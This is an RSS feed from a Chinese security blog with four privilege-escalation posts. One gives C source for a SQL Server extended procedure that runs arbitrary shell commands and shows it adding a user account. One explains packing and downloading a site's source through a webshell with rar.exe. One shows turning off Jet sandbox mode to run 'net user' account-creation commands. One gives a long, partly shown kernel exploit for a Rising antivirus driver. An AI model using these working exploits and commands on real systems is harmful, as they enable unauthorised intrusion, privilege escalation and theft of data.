<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 提权</title>
	<atom:link href="http://www.4shell.org/archives/tag/%e6%8f%90%e6%9d%83/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>xp_hello.dll(sa) 提权</title>
		<link>http://www.4shell.org/archives/1841.html</link>
		<comments>http://www.4shell.org/archives/1841.html#comments</comments>
		<pubDate>Thu, 26 Aug 2010 13:30:56 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[SA]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=1841</guid>
		<description><![CDATA[来源：冰点论坛 2月 主要代码： 在VC6里面新建一个储存过程项目，在proc.cpp中写入如下代码： #include &#60;stdafx.h&#62; #include &#60;shellapi.h&#62; #define XP_NOERROR 0 #define XP_ERROR 1 #define MAXCOLNAME 25 #define MAXNAME 25 #define MAXTEXT 255 #ifdef __cplusplus extern “C” { #endif RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc); #ifdef __cplusplus } #endif RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc) { /***************************** 说明 ************************* 由于本人人品不好还是怎么的，库里没有srv_paraminfo函数，卧槽， 无赖之下，只好用老式的srv_paramdata *************************************************************/ int bufLen; DBCHAR spName[MAXNAME]; DBCHAR spText[MAXTEXT]; DBCHAR [...]]]></description>
			<content:encoded><![CDATA[<p>来源：冰点论坛 2月</p>
<p>主要代码：</p>
<p>在VC6里面新建一个储存过程项目，在proc.cpp中写入如下代码：</p>
<blockquote><p>
#include &lt;stdafx.h&gt;</p>
<p>#include &lt;shellapi.h&gt;</p>
<p>#define XP_NOERROR              0</p>
<p>#define XP_ERROR                1</p>
<p>#define MAXCOLNAME     25</p>
<p>#define MAXNAME      25</p>
<p>#define MAXTEXT      255</p>
<p>#ifdef __cplusplus</p>
<p>extern “C” {</p>
<p>#endif</p>
<p>RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);</p>
<p>#ifdef __cplusplus</p>
<p>}</p>
<p>#endif</p>
<p>RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)</p>
<p>{</p>
<p>/***************************** 说明 *************************</p>
<p>由于本人人品不好还是怎么的，库里没有srv_paraminfo函数，卧槽，</p>
<p>无赖之下，只好用老式的srv_paramdata</p>
<p>*************************************************************/</p>
<p>int bufLen;</p>
<p>DBCHAR spName[MAXNAME];</p>
<p>DBCHAR spText[MAXTEXT];</p>
<p>DBCHAR spBuf[MAXTEXT];</p>
<p>unsigned char cmdline[255] = “”;</p>
<p>if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断，如果参数不是1个就立即退出</p>
<p>bufLen = srv_paramlen(srvproc,1);</p>
<p>if(!bufLen) return XP_ERROR;</p>
<p>wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值</p>
<p>wsprintf(spName, “xp_hello”);</p>
<p>wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);</p>
<p>srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息</p>
<p>wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数</p>
<p>ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令</p>
<p>return XP_NOERROR ;</p>
<p>}
</p></blockquote>
<p><span id="more-1841"></span><br />
编译生成xp_hello.dll</p>
<p>以SA连接SQL Server 执行</p>
<p>dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);</p>
<p>提示成功过后，调用</p>
<p>exec xp_hello ‘net user fuck fuck /add’;</p>
<p>这样系统里面就多了个fuck账户</p>
<p>C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user</p>
<p>\\PC-200910151119 的用户帐户</p>
<p>—————————————————————————–<br />
Administrator            ASPNET                   fuck<br />
Guest                    HelpAssistant            IUSR_PC-200910151119<br />
IWAM_PC-200910151119     SQLDebugger              SUPPORT_388945a0<br />
VUSR_PC-200910151119<br />
命令成功完成。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2007年12月10日 -- <a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年07月24日 -- <a href="http://www.4shell.org/archives/939.html" title="xml.http 下载拿SHELL">xml.http 下载拿SHELL</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2009年06月25日 -- <a href="http://www.4shell.org/archives/809.html" title="sa权限下无xp_cmdshell下取权限又一简单方法">sa权限下无xp_cmdshell下取权限又一简单方法</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1841.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rar.exe在提权中的妙用</title>
		<link>http://www.4shell.org/archives/1723.html</link>
		<comments>http://www.4shell.org/archives/1723.html#comments</comments>
		<pubDate>Fri, 23 Apr 2010 13:02:56 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[rar]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1723.html</guid>
		<description><![CDATA[rar.exe是什么？它就是大名鼎鼎的winrar自带的命令行解压程序。在提权中我们经常要下载各种敏感文件，比如:SU目录。你想一下，如果su目录文件这么多，难道你要一个个的下载？？这明显就很麻烦，有了rar.exe一切变的简单了！ 好了现在来介绍它的用法吧！得到了Webshell后，最好自己传一个rar.exe，虽然program files目录有，但是有时执行不了。rar.exe体积200K，呵呵！将就下。在CMDSHELL执行:D:1Rar.exe a -k -r -s -m1 E:web1.rar E:web。我来介绍下吧,"D:1rar.exe"是你上传的rar.exe,后面参数我会给大家放在下面；"E:web1.rar"是你压缩的文件存放的位置(在shell中一定要选能写的目录);"E:web"是你要打包的目录。很简单吧？以后在没有得到服务器，大家可以尝试我介绍的方法，下载整站源码。 rar.exe参数: a 添加文件到压缩文件中 -k 锁定压缩文件 -s产生固体存档，这样可以增大压缩比 -r包括子目录 -m1 设置压缩比 -m0 存储 添加到压缩文件时不压缩文件。 -m1 最快 使用最快方式（低压缩） -m2 较快 使用快速压缩方式 -m3 标准 使用标准（默认）压缩方式 -m4 较好 使用较好压缩方式（较好压缩，但是慢） -m5 最好 使用最大压缩方式（最好的压缩，但是最慢）Sample Text 相关文章2010年08月26日 -- xp_hello.dll(sa) 提权2010年04月20日 -- 沙盒提权的小tips2010年01月31日 -- 瑞星本地提权通杀利用代码2009年12月22日 -- 关于搜狗拼音输入法提权的应用2009年08月5日 -- Serv-U FTP Server v8 本地提权2009年07月23日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>rar.exe是什么？它就是大名鼎鼎的winrar自带的命令行解压程序。在提权中我们经常要下载各种敏感文件，比如:SU目录。你想一下，如果su目录文件这么多，难道你要一个个的下载？？这明显就很麻烦，有了rar.exe一切变的简单了！</p>
<p> 好了现在来介绍它的用法吧！得到了Webshell后，最好自己传一个rar.exe，虽然program files目录有，但是有时执行不了。rar.exe体积200K，呵呵！将就下。在CMDSHELL执行:D:1Rar.exe a -k -r -s -m1 E:web1.rar E:web。我来介绍下吧,"D:1rar.exe"是你上传的rar.exe,后面参数我会给大家放在下面；"E:web1.rar"是你压缩的文件存放的位置(在shell中一定要选能写的目录);"E:web"是你要打包的目录。很简单吧？以后在没有得到服务器，大家可以尝试我介绍的方法，下载整站源码。<br />
rar.exe参数:<br />
<span id="more-1723"></span><br />
a 添加文件到压缩文件中<br />
-k 锁定压缩文件<br />
-s产生固体存档，这样可以增大压缩比<br />
-r包括子目录<br />
-m1 设置压缩比<br />
-m0 存储 添加到压缩文件时不压缩文件。<br />
-m1 最快 使用最快方式（低压缩）<br />
-m2 较快 使用快速压缩方式<br />
-m3 标准 使用标准（默认）压缩方式<br />
-m4 较好 使用较好压缩方式（较好压缩，但是慢）<br />
-m5 最好 使用最大压缩方式（最好的压缩，但是最慢）Sample Text</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li><li>2008年10月16日 -- <a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/340.html" title="提权的一些小集合">提权的一些小集合</a></li><li>2007年12月10日 -- <a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1723.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>沙盒提权的小tips</title>
		<link>http://www.4shell.org/archives/1718.html</link>
		<comments>http://www.4shell.org/archives/1718.html#comments</comments>
		<pubDate>Tue, 20 Apr 2010 07:26:03 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[sandbox]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[沙盒]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1718.html</guid>
		<description><![CDATA[今天刚好发现有一个SA权限。服务器管理员将大部份扩展都删除了。最后自己重建sp_makewebtask存储才搞到一个webshell了。（重建办法，先找台正常主机，sp_helptext 'sp_makewebtask',将他的SQL语句重新拷到目标机器执行一次就行了）。 当然有了webshell，无法满足我们贪婪的欲望。开始测试提权。有serv-u，但是提权失败了。也许大家会说用back log来提权。但是那个太慢了，要重启机器，会影响对方业务，同时又会给对方留下不好的印像。有人也许会说用读取系统账号的注册表，导入导出，克隆账号，这个办法也可行，但由于并非黑对方主机，还是要保证对方系统的安整性比较好。（也许是心理因素，^_^) 最后只好试试沙盒模式。很多人SA直接用沙盒模式成功了好多机器，但我从来没实践过，也不太清楚成功率如何。只好拿他当回肉鸡尝试了。 由于扩展被删除，先恢复对注册表的读写存储。 dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc ('xp_regwrite','xpstar.dll') 修复沙盒的保护模式 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;-- 查看'SandBoxMode'值是否已经变成0了。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode' 最后调用沙盒模式 select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")') 1.如果沙盒保护模式未“关闭”，会报错： 服务器: 消息 7357，级别 16，状态 2，行 1 未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。 OLE DB [...]]]></description>
			<content:encoded><![CDATA[<p>今天刚好发现有一个SA权限。服务器管理员将大部份扩展都删除了。最后自己重建sp_makewebtask存储才搞到一个webshell了。（重建办法，先找台正常主机，sp_helptext 'sp_makewebtask',将他的SQL语句重新拷到目标机器执行一次就行了）。</p>
<p>当然有了webshell，无法满足我们贪婪的欲望。开始测试提权。有serv-u，但是提权失败了。也许大家会说用back log来提权。但是那个太慢了，要重启机器，会影响对方业务，同时又会给对方留下不好的印像。有人也许会说用读取系统账号的注册表，导入导出，克隆账号，这个办法也可行，但由于并非黑对方主机，还是要保证对方系统的安整性比较好。（也许是心理因素，^_^)</p>
<p>最后只好试试沙盒模式。很多人SA直接用沙盒模式成功了好多机器，但我从来没实践过，也不太清楚成功率如何。只好拿他当回肉鸡尝试了。</p>
<p><span id="more-1718"></span></p>
<p>由于扩展被删除，先恢复对注册表的读写存储。</p>
<p>dbcc addextendedproc ('xp_regread','xpstar.dll')</p>
<p>dbcc addextendedproc ('xp_regwrite','xpstar.dll')</p>
<p>修复沙盒的保护模式</p>
<p>exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--</p>
<p>查看'SandBoxMode'值是否已经变成0了。</p>
<p>exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'</p>
<p>最后调用沙盒模式</p>
<p>select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')</p>
<p>1.如果沙盒保护模式未“关闭”，会报错：</p>
<p>服务器: 消息 7357，级别 16，状态 2，行 1<br />
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。<br />
OLE DB 错误跟踪［Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")'］。</p>
<p>2.如果.mdb不存在或是输入路径错误</p>
<p>服务器: 消息 7399，级别 16，状态 1，行 1<br />
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 报错。<br />
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]<br />
OLE DB 错误跟踪［OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005:   ］。</p>
<p>3.<strong>如果输入过程中多了一些空格，也会报错。</strong>尤其要注意这点，很多人直接网上找文章复制粘贴进去执行。</p>
<p>服务器: 消息 7357，级别 16，状态 2，行 1<br />
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。<br />
OLE DB 错误跟踪［Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")'］。</p>
<p><strong>4.如果mdb权限和cmd.exe权限不对，同样会也出现问题</strong>。</p>
<p>当mdb权限不对时，</p>
<p>服务器: 消息 7320，级别 16，状态 2，行 1<br />
未能对 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 执行查询。<br />
[OLE/DB provider returned message: 未知]<br />
OLE DB 错误跟踪［OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14］。</p>
<p>5.如果net权限不对时，却没有任何提示。</p>
<p>最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe，net.exe三个文件。执行</p>
<p>select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')</p>
<p>成功增加一个计算机用户。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年10月9日 -- <a href="http://www.4shell.org/archives/332.html" title="沙盒模式提权">沙盒模式提权</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li><li>2008年10月16日 -- <a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/340.html" title="提权的一些小集合">提权的一些小集合</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1718.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>瑞星本地提权通杀利用代码</title>
		<link>http://www.4shell.org/archives/1548.html</link>
		<comments>http://www.4shell.org/archives/1548.html#comments</comments>
		<pubDate>Sun, 31 Jan 2010 07:04:42 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[瑞星]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1548.html</guid>
		<description><![CDATA[编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本 //MY Blog:http://hi.baidu.com/9908006 //MY QQ:165659238 //VC-ConsoleWithApi #include "stdafx.h" #include "windows.h" enum { SystemModuleInformation = 11 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; HANDLE g_RsGdiHandle [...]]]></description>
			<content:encoded><![CDATA[<p>编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本</p>
<blockquote><p>
//MY Blog:http://hi.baidu.com/9908006</p>
<p>//MY QQ:165659238</p>
<p>//VC-ConsoleWithApi</p>
<p>#include "stdafx.h"</p>
<p>#include "windows.h"</p>
<p>enum { SystemModuleInformation = 11 };</p>
<p>typedef struct {</p>
<p>ULONG Unknown1;</p>
<p>ULONG Unknown2;</p>
<p>PVOID Base;</p>
<p>ULONG Size;</p>
<p>ULONG Flags;</p>
<p>USHORT Index;</p>
<p>USHORT NameLength;</p>
<p>USHORT LoadCount;</p>
<p>USHORT PathLength;</p>
<p>CHAR ImageName[256];</p>
<p>} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;</p>
<p>typedef struct {</p>
<p>ULONG Count;</p>
<p>SYSTEM_MODULE_INFORMATION_ENTRY Module[1];</p>
<p>} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;</p>
<p>HANDLE g_RsGdiHandle = 0 ;</p>
<p>void __stdcall WriteKVM(PVOID Address , ULONG Value)</p>
<p>{</p>
<p>ULONG ColorValue = Value ;</p>
<p>ULONG btr ;</p>
<p>ULONG ColorBuffer = 0 ;</p>
<p>DeviceIoControl(g_RsGdiHandle ,</p>
<p>0x83003C0B,</p>
<p>&amp;ColorValue ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;ColorBuffer ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;btr ,</p>
<p>0</p>
<p>);</p>
<p>DeviceIoControl(g_RsGdiHandle ,</p>
<p>0x83003C0B,</p>
<p>&amp;ColorValue ,</p>
<p>sizeof(ULONG),</p>
<p>Address ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;btr ,</p>
<p>0</p>
<p>);</p>
<p>return ;</p>
<p>}</p>
<p>void AddCallGate()</p>
<p>{</p>
<p>ULONG Gdt_Addr;</p>
<p>ULONG CallGateData[0x4];</p>
<p>ULONG Icount;</p>
<p>__asm</p>
<p>{</p>
<p>push edx</p>
<p>sgdt [esp-2]</p>
<p>pop edx</p>
<p>mov Gdt_Addr , edx</p>
<p>}</p>
<p>__asm</p>
<p>{</p>
<p>push 0xc3</p>
<p>push Gdt_Addr</p>
<p>call WriteKVM</p>
<p>mov eax,Gdt_Addr</p>
<p>mov word ptr[CallGateData],ax</p>
<p>shr eax,16</p>
<p>mov word ptr[CallGateData+6],ax</p>
<p>mov dword ptr[CallGateData+2],0x0ec0003e8</p>
<p>mov dword ptr[CallGateData+8],0x0000ffff</p>
<p>mov dword ptr[CallGateData+12],0x00cf9a00</p>
<p>xor eax,eax</p>
<p>LoopWrite:</p>
<p>mov edi,dword ptr CallGateData[eax]</p>
<p>push edi</p>
<p>mov edi,Gdt_Addr</p>
<p>add edi,0x3e0</p>
<p>add edi,eax</p>
<p>push edi</p>
<p>mov Icount,eax</p>
<p>call WriteKVM</p>
<p>mov eax,Icount</p>
<p>add eax , 0x4</p>
<p>cmp eax,0x10</p>
<p>jnz LoopWrite</p>
<p>}</p>
<p>return ;</p>
<p>}</p>
<p>void IntoR0(PVOID function)</p>
<p>{</p>
<p>WORD Callgt[3];</p>
<p>Callgt[0] = 0;</p>
<p>Callgt[1] = 0;</p>
<p>Callgt[2] = 0x3e3;</p>
<p>__asm</p>
<p>{</p>
<p>call fword ptr[Callgt]</p>
<p>mov eax,esp</p>
<p>mov esp,[esp+4]</p>
<p>push eax</p>
<p>call function</p>
<p>pop esp</p>
<p>push offset ring3Ret</p>
<p>retf</p>
<p>ring3Ret:</p>
<p>nop</p>
<p>}</p>
<p>return ;</p>
<p>}</p>
<p>#pragma pack(1)</p>
<p>typedef struct _IDTR</p>
<p>{</p>
<p>SHORT IDTLimit;</p>
<p>UINT IDTBase;</p>
<p>}IDTR,</p>
<p>*PIDTR,</p>
<p>**PPIDTR;</p>
<p>#pragma pack()</p>
<p>ULONG g_RealSSDT = 0 ;</p>
<p>ULONG ServiceNum = 0 ;</p>
<p>ULONG OrgService [0x1000] ;</p>
<p>ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)</p>
<p>{</p>
<p>ULONG Offset = Rva, Limit;</p>
<p>IMAGE_SECTION_HEADER *Img;</p>
<p>WORD i;</p>
<p>Img = IMAGE_FIRST_SECTION(NT);</p>
<p>if (Rva &lt; Img-&gt;PointerToRawData)</p>
<p>return Rva;</p>
<p>for (i = 0; i &lt; NT-&gt;FileHeader.NumberOfSections; i++)</p>
<p>{</p>
<p>if (Img.SizeOfRawData)</p>
<p>Limit = Img.SizeOfRawData;</p>
<p>else</p>
<p>Limit = Img.Misc.VirtualSize;</p>
<p>if (Rva &gt;= Img.VirtualAddress &amp;&amp;</p>
<p>Rva &lt; (Img.VirtualAddress + Limit))</p>
<p>{</p>
<p>if (Img.PointerToRawData != 0)</p>
<p>{</p>
<p>Offset -= Img.VirtualAddress;</p>
<p>Offset += Img.PointerToRawData;</p>
<p>}</p>
<p>return Offset;</p>
<p>}</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
<p>#define ibaseDD *(PDWORD)&amp;ibase</p>
<p>DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)</p>
<p>{</p>
<p>PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;</p>
<p>if ((mzhead-&gt;e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead-&gt;e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;</p>
<p>*pfh=(PIMAGE_FILE_HEADER)&amp;ibase[mzhead-&gt;e_lfanew];</p>
<p>if (((PIMAGE_NT_HEADERS)*pfh)-&gt;Signature!=IMAGE_NT_SIGNATURE) return FALSE;</p>
<p>*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));</p>
<p>*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));</p>
<p>if ((*poh)-&gt;Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;</p>
<p>*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));</p>
<p>return TRUE;</p>
<p>}</p>
<p>typedef struct {</p>
<p>WORD offset:12;</p>
<p>WORD type:4;</p>
<p>} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;</p>
<p>#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))</p>
<p>DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)</p>
<p>{</p>
<p>PIMAGE_FILE_HEADER pfh;</p>
<p>PIMAGE_OPTIONAL_HEADER poh;</p>
<p>PIMAGE_SECTION_HEADER psh;</p>
<p>PIMAGE_BASE_RELOCATION pbr;</p>
<p>PIMAGE_FIXUP_ENTRY pfe;</p>
<p>DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;</p>
<p>BOOL bFirstChunk;</p>
<p>GetHeaders((PCHAR)hModule,&amp;pfh,&amp;poh,&amp;psh);</p>
<p>if ((poh-&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &amp;&amp;</p>
<p>(!((pfh-&gt;Characteristics)&amp;IMAGE_FILE_RELOCS_STRIPPED))) {</p>
<p>pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh-&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);</p>
<p>bFirstChunk=TRUE;</p>
<p>while (bFirstChunk || pbr-&gt;VirtualAddress) {</p>
<p>bFirstChunk=FALSE;</p>
<p>pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));</p>
<p>for (i=0;i&lt;(pbr-&gt;SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))&gt;&gt;1;i++,pfe++) {</p>
<p>if (pfe-&gt;type==IMAGE_REL_BASED_HIGHLOW) {</p>
<p>dwFixups++;</p>
<p>dwPointerRva=pbr-&gt;VirtualAddress+pfe-&gt;offset;</p>
<p>dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh-&gt;ImageBase;</p>
<p>if (dwPointsToRva==dwKSDT)</p>
<p>{</p>
<p>if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)</p>
<p>{</p>
<p>dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh-&gt;ImageBase;</p>
<p>*ImageBase = poh-&gt;ImageBase;</p>
<p>return dwKiServiceTable;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>*(PDWORD)&amp;pbr+=pbr-&gt;SizeOfBlock;</p>
<p>}</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
